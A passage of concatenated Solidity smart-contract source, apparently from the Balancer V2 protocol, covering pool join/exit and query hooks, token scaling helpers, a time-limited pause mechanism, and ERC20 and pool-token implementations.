// On initialization, we lock _MINIMUM_BPT by minting it for the zero address. This BPT acts as a minimum
// as it will never be burned, which reduces potential issues with rounding, and also prevents the Pool from
// ever being fully drained.
_require(bptAmountOut >= _MINIMUM_BPT, Errors.MINIMUM_BPT);
_mintPoolTokens(address(0), _MINIMUM_BPT);
_mintPoolTokens(recipient, bptAmountOut - _MINIMUM_BPT);
// amountsIn are amounts entering the Pool, so we round up.
_downscaleUpArray(amountsIn, scalingFactors);
return (amountsIn, new uint256[](_getTotalTokens()));
} else {
_upscaleArray(balances, scalingFactors);
(uint256 bptAmountOut, uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts) = _onJoinPool(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
userData
);
// Note we no longer use `balances` after calling `_onJoinPool`, which may mutate it.
_mintPoolTokens(recipient, bptAmountOut);
// amountsIn are amounts entering the Pool, so we round up.
_downscaleUpArray(amountsIn, scalingFactors);
// dueProtocolFeeAmounts are amounts exiting the Pool, so we round down.
_downscaleDownArray(dueProtocolFeeAmounts, scalingFactors);
return (amountsIn, dueProtocolFeeAmounts);
}
}
function onExitPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) {
uint256[] memory scalingFactors = _scalingFactors();
_upscaleArray(balances, scalingFactors);
(uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts) = _onExitPool(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
userData
);
// Note we no longer use `balances` after calling `_onExitPool`, which may mutate it.
_burnPoolTokens(sender, bptAmountIn);
// Both amountsOut and dueProtocolFeeAmounts are amounts exiting the Pool, so we round down.
_downscaleDownArray(amountsOut, scalingFactors);
_downscaleDownArray(dueProtocolFeeAmounts, scalingFactors);
return (amountsOut, dueProtocolFeeAmounts);
}
// Query functions
/**
* @dev Returns the amount of BPT that would be granted to `recipient` if the `onJoinPool` hook were called by the
* Vault with the same arguments, along with the number of tokens `sender` would have to supply.
*
* This function is not meant to be called directly, but rather from a helper contract that fetches current Vault
* data, such as the protocol swap fee percentage and Pool balances.
*
* Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must
* explicitly use eth_call instead of eth_sendTransaction.
*/
function queryJoin(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256 bptOut, uint256[] memory amountsIn) {
InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens());
_queryAction(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
userData,
_onJoinPool,
_downscaleUpArray
);
// The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement,
// and we don't need to return anything here - it just silences compiler warnings.
return (bptOut, amountsIn);
}
/**
* @dev Returns the amount of BPT that would be burned from `sender` if the `onExitPool` hook were called by the
* Vault with the same arguments, along with the number of tokens `recipient` would receive.
*
* This function is not meant to be called directly, but rather from a helper contract that fetches current Vault
* data, such as the protocol swap fee percentage and Pool balances.
*
* Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must
* explicitly use eth_call instead of eth_sendTransaction.
*/
function queryExit(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256 bptIn, uint256[] memory amountsOut) {
InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens());
_queryAction(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
userData,
_onExitPool,
_downscaleDownArray
);
// The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement,
// and we don't need to return anything here - it just silences compiler warnings.
return (bptIn, amountsOut);
}
// Internal hooks to be overridden by derived contracts - all token amounts (except BPT) in these interfaces are
// upscaled.
/**
* @dev Called when the Pool is joined for the first time; that is, when the BPT total supply is zero.
*
* Returns the amount of BPT to mint, and the token amounts the Pool will receive in return.
*
* Minted BPT will be sent to `recipient`, except for _MINIMUM_BPT, which will be deducted from this amount and sent
* to the zero address instead. This will cause that BPT to remain forever locked there, preventing total BTP from
* ever dropping below that value, and ensuring `_onInitializePool` can only be called once in the entire Pool's
* lifetime.
*
* The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will
* be downscaled (rounding up) before being returned to the Vault.
*/
function _onInitializePool(
bytes32 poolId,
address sender,
address recipient,
bytes memory userData
) internal virtual returns (uint256 bptAmountOut, uint256[] memory amountsIn);
/**
* @dev Called whenever the Pool is joined after the first initialization join (see `_onInitializePool`).
*
* Returns the amount of BPT to mint, the token amounts that the Pool will receive in return, and the number of
* tokens to pay in protocol swap fees.
*
* Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when
* performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely.
*
* Minted BPT will be sent to `recipient`.
*
* The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will
* be downscaled (rounding up) before being returned to the Vault.
*
* Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onJoinPool`). These
* amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault.
*/
function _onJoinPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
)
internal
virtual
returns (
uint256 bptAmountOut,
uint256[] memory amountsIn,
uint256[] memory dueProtocolFeeAmounts
);
/**
* @dev Called whenever the Pool is exited.
*
* Returns the amount of BPT to burn, the token amounts for each Pool token that the Pool will grant in return, and
* the number of tokens to pay in protocol swap fees.
*
* Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when
* performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely.
*
* BPT will be burnt from `sender`.
*
* The Pool will grant tokens to `recipient`. These amounts are considered upscaled and will be downscaled
* (rounding down) before being returned to the Vault.
*
* Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onExitPool`). These
* amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault.
*/
function _onExitPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
)
internal
virtual
returns (
uint256 bptAmountIn,
uint256[] memory amountsOut,
uint256[] memory dueProtocolFeeAmounts
);
// Internal functions
/**
* @dev Adds swap fee amount to `amount`, returning a higher value.
*/
function _addSwapFeeAmount(uint256 amount) internal view returns (uint256) {
// This returns amount + fee amount, so we round up (favoring a higher fee amount).
return amount.divUp(_swapFeePercentage.complement());
}
/**
* @dev Subtracts swap fee amount from `amount`, returning a lower value.
*/
function _subtractSwapFeeAmount(uint256 amount) internal view returns (uint256) {
// This returns amount - fee amount, so we round up (favoring a higher fee amount).
uint256 feeAmount = amount.mulUp(_swapFeePercentage);
return amount.sub(feeAmount);
}
// Scaling
/**
* @dev Returns a scaling factor that, when multiplied to a token amount for `token`, normalizes its balance as if
* it had 18 decimals.
*/
function _computeScalingFactor(IERC20 token) private view returns (uint256) {
// Tokens that don't implement the `decimals` method are not supported.
uint256 tokenDecimals = ERC20(address(token)).decimals();
// Tokens with more than 18 decimals are not supported.
uint256 decimalsDifference = Math.sub(18, tokenDecimals);
return 10**decimalsDifference;
}
/**
* @dev Returns the scaling factor for one of the Pool's tokens. Reverts if `token` is not a token registered by the
* Pool.
*/
function _scalingFactor(IERC20 token) internal view returns (uint256) {
// prettier-ignore
if (token == _token0) { return _scalingFactor0; }
else if (token == _token1) { return _scalingFactor1; }
else if (token == _token2) { return _scalingFactor2; }
else if (token == _token3) { return _scalingFactor3; }
else if (token == _token4) { return _scalingFactor4; }
else if (token == _token5) { return _scalingFactor5; }
else if (token == _token6) { return _scalingFactor6; }
else if (token == _token7) { return _scalingFactor7; }
else {
_revert(Errors.INVALID_TOKEN);
}
}
/**
* @dev Returns all the scaling factors in the same order as the registered tokens. The Vault will always
* pass balances in this order when calling any of the Pool hooks
*/
function _scalingFactors() internal view returns (uint256[] memory) {
uint256 totalTokens = _getTotalTokens();
uint256[] memory scalingFactors = new uint256[](totalTokens);
// prettier-ignore
{
if (totalTokens > 0) { scalingFactors[0] = _scalingFactor0; } else { return scalingFactors; }
if (totalTokens > 1) { scalingFactors[1] = _scalingFactor1; } else { return scalingFactors; }
if (totalTokens > 2) { scalingFactors[2] = _scalingFactor2; } else { return scalingFactors; }
if (totalTokens > 3) { scalingFactors[3] = _scalingFactor3; } else { return scalingFactors; }
if (totalTokens > 4) { scalingFactors[4] = _scalingFactor4; } else { return scalingFactors; }
if (totalTokens > 5) { scalingFactors[5] = _scalingFactor5; } else { return scalingFactors; }
if (totalTokens > 6) { scalingFactors[6] = _scalingFactor6; } else { return scalingFactors; }
if (totalTokens > 7) { scalingFactors[7] = _scalingFactor7; } else { return scalingFactors; }
}
return scalingFactors;
}
/**
* @dev Applies `scalingFactor` to `amount`, resulting in a larger or equal value depending on whether it needed
* scaling or not.
*/
function _upscale(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) {
return Math.mul(amount, scalingFactor);
}
/**
* @dev Same as `_upscale`, but for an entire array. This function does not return anything, but instead *mutates*
* the `amounts` array.
*/
function _upscaleArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view {
for (uint256 i = 0; i < _getTotalTokens(); ++i) {
amounts[i] = Math.mul(amounts[i], scalingFactors[i]);
}
}
/**
* @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on
* whether it needed scaling or not. The result is rounded down.
*/
function _downscaleDown(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) {
return Math.divDown(amount, scalingFactor);
}
/**
* @dev Same as `_downscaleDown`, but for an entire array. This function does not return anything, but instead
* *mutates* the `amounts` array.
*/
function _downscaleDownArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view {
for (uint256 i = 0; i < _getTotalTokens(); ++i) {
amounts[i] = Math.divDown(amounts[i], scalingFactors[i]);
}
}
/**
* @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on
* whether it needed scaling or not. The result is rounded up.
*/
function _downscaleUp(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) {
return Math.divUp(amount, scalingFactor);
}
/**
* @dev Same as `_downscaleUp`, but for an entire array. This function does not return anything, but instead
* *mutates* the `amounts` array.
*/
function _downscaleUpArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view {
for (uint256 i = 0; i < _getTotalTokens(); ++i) {
amounts[i] = Math.divUp(amounts[i], scalingFactors[i]);
}
}
function _getAuthorizer() internal view override returns (IAuthorizer) {
// Access control management is delegated to the Vault's Authorizer. This lets Balancer Governance manage which
// accounts can call permissioned functions: for example, to perform emergency pauses.
// If the owner is delegated, then *all* permissioned functions, including `setSwapFeePercentage`, will be under
// Governance control.
return getVault().getAuthorizer();
}
function _queryAction(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData,
function(bytes32, address, address, uint256[] memory, uint256, uint256, bytes memory)
internal
returns (uint256, uint256[] memory, uint256[] memory) _action,
function(uint256[] memory, uint256[] memory) internal view _downscaleArray
) private {
// This uses the same technique used by the Vault in queryBatchSwap. Refer to that function for a detailed
// explanation.
if (msg.sender != address(this)) {
// We perform an external call to ourselves, forwarding the same calldata. In this call, the else clause of
// the preceding if statement will be executed instead.
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = address(this).call(msg.data);
// solhint-disable-next-line no-inline-assembly
assembly {
// This call should always revert to decode the bpt and token amounts from the revert reason
switch success
case 0 {
// Note we are manually writing the memory slot 0. We can safely overwrite whatever is
// stored there as we take full control of the execution and then immediately return.
// We copy the first 4 bytes to check if it matches with the expected signature, otherwise
// there was another revert reason and we should forward it.
returndatacopy(0, 0, 0x04)
let error := and(mload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000)
// If the first 4 bytes don't match with the expected signature, we forward the revert reason.
if eq(eq(error, 0x43adbafb00000000000000000000000000000000000000000000000000000000), 0) {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
// The returndata contains the signature, followed by the raw memory representation of the
// `bptAmount` and `tokenAmounts` (array: length + data). We need to return an ABI-encoded
// representation of these.
// An ABI-encoded response will include one additional field to indicate the starting offset of
// the `tokenAmounts` array. The `bptAmount` will be laid out in the first word of the
// returndata.
//
// In returndata:
// [ signature ][ bptAmount ][ tokenAmounts length ][ tokenAmounts values ]
// [ 4 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ]
//
// We now need to return (ABI-encoded values):
// [ bptAmount ][ tokeAmounts offset ][ tokenAmounts length ][ tokenAmounts values ]
// [ 32 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ]
// We copy 32 bytes for the `bptAmount` from returndata into memory.
// Note that we skip the first 4 bytes for the error signature
returndatacopy(0, 0x04, 32)
// The offsets are 32-bytes long, so the array of `tokenAmounts` will start after
// the initial 64 bytes.
mstore(0x20, 64)
// We now copy the raw memory array for the `tokenAmounts` from returndata into memory.
// Since bpt amount and offset take up 64 bytes, we start copying at address 0x40. We also
// skip the first 36 bytes from returndata, which correspond to the signature plus bpt amount.
returndatacopy(0x40, 0x24, sub(returndatasize(), 36))
// We finally return the ABI-encoded uint256 and the array, which has a total length equal to
// the size of returndata, plus the 32 bytes of the offset but without the 4 bytes of the
// error signature.
return(0, add(returndatasize(), 28))
}
default {
// This call should always revert, but we fail nonetheless if that didn't happen
invalid()
}
}
} else {
uint256[] memory scalingFactors = _scalingFactors();
_upscaleArray(balances, scalingFactors);
(uint256 bptAmount, uint256[] memory tokenAmounts, ) = _action(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
userData
);
_downscaleArray(tokenAmounts, scalingFactors);
// solhint-disable-next-line no-inline-assembly
assembly {
// We will return a raw representation of `bptAmount` and `tokenAmounts` in memory, which is composed of
// a 32-byte uint256, followed by a 32-byte for the array length, and finally the 32-byte uint256 values
// Because revert expects a size in bytes, we multiply the array length (stored at `tokenAmounts`) by 32
let size := mul(mload(tokenAmounts), 32)
// We store the `bptAmount` in the previous slot to the `tokenAmounts` array. We can make sure there
// will be at least one available slot due to how the memory scratch space works.
// We can safely overwrite whatever is stored in this slot as we will revert immediately after that.
let start := sub(tokenAmounts, 0x20)
mstore(start, bptAmount)
// We send one extra value for the error signature "QueryError(uint256,uint256[])" which is 0x43adbafb
// We use the previous slot to `bptAmount`.
mstore(sub(start, 0x20), 0x0000000000000000000000000000000000000000000000000000000043adbafb)
start := sub(start, 0x04)
// When copying from `tokenAmounts` into returndata, we copy the additional 68 bytes to also return
// the `bptAmount`, the array 's length, and the error signature.
revert(start, add(size, 68))
}
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./IBasePool.sol";
/**
* @dev Pool contracts with the MinimalSwapInfo or TwoToken specialization settings should implement this interface.
*
* This is called by the Vault when a user calls `IVault.swap` or `IVault.batchSwap` to swap with this Pool.
* Returns the number of tokens the Pool will grant to the user in a 'given in' swap, or that the user will grant
* to the pool in a 'given out' swap.
*
* This can often be implemented by a `view` function, since many pricing algorithms don't need to track state
* changes in swaps. However, contracts implementing this in non-view functions should check that the caller is
* indeed the Vault.
*/
interface IMinimalSwapInfoPool is IBasePool {
function onSwap(
SwapRequest memory swapRequest,
uint256 currentBalanceTokenIn,
uint256 currentBalanceTokenOut
) external returns (uint256 amount);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./BalancerErrors.sol";
import "./ITemporarilyPausable.sol";
/**
* @dev Allows for a contract to be paused during an initial period after deployment, disabling functionality. Can be
* used as an emergency switch in case a security vulnerability or threat is identified.
*
* The contract can only be paused during the Pause Window, a period that starts at deployment. It can also be
* unpaused and repaused any number of times during this period. This is intended to serve as a safety measure: it lets
* system managers react quickly to potentially dangerous situations, knowing that this action is reversible if careful
* analysis later determines there was a false alarm.
*
* If the contract is paused when the Pause Window finishes, it will remain in the paused state through an additional
* Buffer Period, after which it will be automatically unpaused forever. This is to ensure there is always enough time
* to react to an emergency, even if the threat is discovered shortly before the Pause Window expires.
*
* Note that since the contract can only be paused within the Pause Window, unpausing during the Buffer Period is
* irreversible.
*/
abstract contract TemporarilyPausable is ITemporarilyPausable {
// The Pause Window and Buffer Period are timestamp-based: they should not be relied upon for sub-minute accuracy.
// solhint-disable not-rely-on-time
uint256 private constant _MAX_PAUSE_WINDOW_DURATION = 90 days;
uint256 private constant _MAX_BUFFER_PERIOD_DURATION = 30 days;
uint256 private immutable _pauseWindowEndTime;
uint256 private immutable _bufferPeriodEndTime;
bool private _paused;
constructor(uint256 pauseWindowDuration, uint256 bufferPeriodDuration) {
_require(pauseWindowDuration <= _MAX_PAUSE_WINDOW_DURATION, Errors.MAX_PAUSE_WINDOW_DURATION);
_require(bufferPeriodDuration <= _MAX_BUFFER_PERIOD_DURATION, Errors.MAX_BUFFER_PERIOD_DURATION);
uint256 pauseWindowEndTime = block.timestamp + pauseWindowDuration;
_pauseWindowEndTime = pauseWindowEndTime;
_bufferPeriodEndTime = pauseWindowEndTime + bufferPeriodDuration;
}
/**
* @dev Reverts if the contract is paused.
*/
modifier whenNotPaused() {
_ensureNotPaused();
_;
}
/**
* @dev Returns the current contract pause status, as well as the end times of the Pause Window and Buffer
* Period.
*/
function getPausedState()
external
view
override
returns (
bool paused,
uint256 pauseWindowEndTime,
uint256 bufferPeriodEndTime
)
{
paused = !_isNotPaused();
pauseWindowEndTime = _getPauseWindowEndTime();
bufferPeriodEndTime = _getBufferPeriodEndTime();
}
/**
* @dev Sets the pause state to `paused`. The contract can only be paused until the end of the Pause Window, and
* unpaused until the end of the Buffer Period.
*
* Once the Buffer Period expires, this function reverts unconditionally.
*/
function _setPaused(bool paused) internal {
if (paused) {
_require(block.timestamp < _getPauseWindowEndTime(), Errors.PAUSE_WINDOW_EXPIRED);
} else {
_require(block.timestamp < _getBufferPeriodEndTime(), Errors.BUFFER_PERIOD_EXPIRED);
}
_paused = paused;
emit PausedStateChanged(paused);
}
/**
* @dev Reverts if the contract is paused.
*/
function _ensureNotPaused() internal view {
_require(_isNotPaused(), Errors.PAUSED);
}
/**
* @dev Returns true if the contract is unpaused.
*
* Once the Buffer Period expires, the gas cost of calling this function is reduced dramatically, as storage is no
* longer accessed.
*/
function _isNotPaused() internal view returns (bool) {
// After the Buffer Period, the (inexpensive) timestamp check short-circuits the storage access.
return block.timestamp > _getBufferPeriodEndTime() || !_paused;
}
// These getters lead to reduced bytecode size by inlining the immutable variables in a single place.
function _getPauseWindowEndTime() private view returns (uint256) {
return _pauseWindowEndTime;
}
function _getBufferPeriodEndTime() private view returns (uint256) {
return _bufferPeriodEndTime;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
import "./IERC20.sol";
import "./SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
msg.sender,
_allowances[sender][msg.sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_ALLOWANCE)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].sub(subtractedValue, Errors.ERC20_DECREASED_ALLOWANCE_BELOW_ZERO)
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
_require(sender != address(0), Errors.ERC20_TRANSFER_FROM_ZERO_ADDRESS);
_require(recipient != address(0), Errors.ERC20_TRANSFER_TO_ZERO_ADDRESS);
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_BALANCE);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
_require(account != address(0), Errors.ERC20_MINT_TO_ZERO_ADDRESS);
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
_require(account != address(0), Errors.ERC20_BURN_FROM_ZERO_ADDRESS);
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, Errors.ERC20_BURN_EXCEEDS_ALLOWANCE);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
_require(owner != address(0), Errors.ERC20_APPROVE_FROM_ZERO_ADDRESS);
_require(spender != address(0), Errors.ERC20_APPROVE_TO_ZERO_ADDRESS);
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../lib/math/Math.sol";
import "../lib/openzeppelin/IERC20.sol";
import "../lib/openzeppelin/IERC20Permit.sol";
import "../lib/openzeppelin/EIP712.sol";
/**
* @title Highly opinionated token implementation
* @author Balancer Labs
* @dev
* - Includes functions to increase and decrease allowance as a workaround
* for the well-known issue with `approve`:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* - Allows for 'infinite allowance', where an allowance of 0xff..ff is not
* decreased by calls to transferFrom
* - Lets a token holder use `transferFrom` to send their own tokens,
* without first setting allowance
* - Emits 'Approval' events whenever allowance is changed by `transferFrom`
*/
contract BalancerPoolToken is IERC20, IERC20Permit, EIP712 {
using Math for uint256;
// State variables
uint8 private constant _DECIMALS = 18;
mapping(address => uint256) private _balance;
mapping(address => mapping(address => uint256)) private _allowance;
uint256 private _totalSupply;
string private _name;
string private _symbol;
mapping(address => uint256) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPE_HASH = keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
);
// Function declarations
constructor(string memory tokenName, string memory tokenSymbol) EIP712(tokenName, "1") {
_name = tokenName;
_symbol = tokenSymbol;
}
// External functions
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowance[owner][spender];
}
function balanceOf(address account) external view override returns (uint256) {
return _balance[account];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_setAllowance(msg.sender, spender, amount);
return true;
}
function increaseApproval(address spender, uint256 amount) external returns (bool) {
_setAllowance(msg.sender, spender, _allowance[msg.sender][spender].add(amount));
return true;
}
